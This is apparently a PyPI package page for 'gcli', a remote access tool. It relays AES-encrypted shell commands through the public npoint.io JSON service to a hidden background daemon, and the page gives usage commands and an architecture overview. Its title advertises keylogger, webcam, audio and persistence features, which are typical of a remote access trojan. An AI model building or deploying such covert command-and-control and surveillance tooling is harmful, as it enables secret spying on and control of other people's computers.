Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, and 100+ commands
Project description
gcli
Remote access tool via npoint.io — encrypted command relay using AES-256-GCM.
How It Works
┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
│ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
│ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
└──────────┘ results └─────────────┘ results └──────────┘
gcli hoststarts a background daemon that polls npoint.io for encrypted commandsgcli sshconnects interactively, sends encrypted commands, and polls for results- All payloads are encrypted with AES-256-GCM — the password never leaves your machine
Quick Start
Install
pip install cryptography
Host (on the remote machine)
# Start the daemon (runs in background)
python -m gcli host --password MySecret123
# Or run in foreground for debugging
python -m gcli host --password MySecret123 --foreground
Client (on your local machine)
# Connect to the host
python -m gcli ssh --password MySecret123
Stop the host
python -m gcli stop
SSH Commands
Once connected, you have a full interactive REPL:
| Command | Description |
|---|---|
| Any text | Execute shell command on remote host |
:help |
Show available commands |
:info |
Show remote system info (hostname, OS, user, IP) |
:ping |
Ping remote host and show latency |
:upload <local> <remote> |
Upload a file to the remote host |
:download <remote> <local> |
Download a file from the remote host |
:timeout <seconds> |
Set exec command timeout |
:history |
Show recent command history |
:exit |
Disconnect and close session |
Security
- AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
- Password is never transmitted — only encrypted payloads flow through npoint.io
- Each message gets a unique random nonce (prevents identical plaintext detection)
- Built-in tamper detection (GCM authentication tag)
Cross-Platform
| Platform | Background Detach | Process Management |
|---|---|---|
| Windows | CREATE_NO_WINDOW subprocess |
tasklist / taskkill |
| Linux | Double-fork + setsid |
kill / os.kill |
| macOS | Double-fork + setsid |
kill / os.kill |
Configuration
# Custom npoint bin (both host and client must use the same bin)
python -m gcli host --password MySecret --bin YOUR_NPOINT_BIN_ID
python -m gcli ssh --password MySecret --bin YOUR_NPOINT_BIN_ID
# Adjust polling speed (default: 2s host, 1s client)
python -m gcli host --password MySecret --poll-interval 1.0
Architecture
gcli/
├── __main__.py # CLI entry point (argparse)
├── __init__.py
├── crypto.py # AES-256-GCM encrypt/decrypt (PBKDF2 key derivation)
├── npoint.py # npoint.io API wrapper with retry logic
├── protocol.py # Document structure, read/write, race-condition safe appends
├── host.py # Daemon: poll → decrypt → execute → encrypt → respond
├── client.py # SSH REPL: send → poll → display (tab completion)
├── utils.py # PID management, process detach, command execution
└── colors.py # Cross-platform terminal colours (Win/Linux/macOS)
Requirements
- Python 3.8+
cryptographypackage- Internet connection (for npoint.io)
License
MIT
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
gcli_control-0.5.0.tar.gz
(108.5 kB
view details)
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
gcli_control-0.5.0-py3-none-any.whl
(116.9 kB
view details)
File details
Details for the file gcli_control-0.5.0.tar.gz.
File metadata
- Download URL: gcli_control-0.5.0.tar.gz
- Upload date:
- Size: 108.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5f0d998f7f04c1d4de8a6f165a15a7c84ce0ad245bdc917557cd49ce425eae6d
|
|
| MD5 |
309795dd244c1fab59a8d18da0b32572
|
|
| BLAKE2b-256 |
2414c9b17e349d414c557422962263f087b5e5dd82c613177ce422bc922e09bc
|
File details
Details for the file gcli_control-0.5.0-py3-none-any.whl.
File metadata
- Download URL: gcli_control-0.5.0-py3-none-any.whl
- Upload date:
- Size: 116.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5e6d5e8483385cdf25b3512f7cc4e078b8680ab69010ba6e12978abaf298eab8
|
|
| MD5 |
ac60573a9f81dbc3b4116db6e85e2c6d
|
|
| BLAKE2b-256 |
bc7ce2f7f18a540ab1e957bceac9017f2840eb6c282b9ac3dfefb8ee0b29eefc
|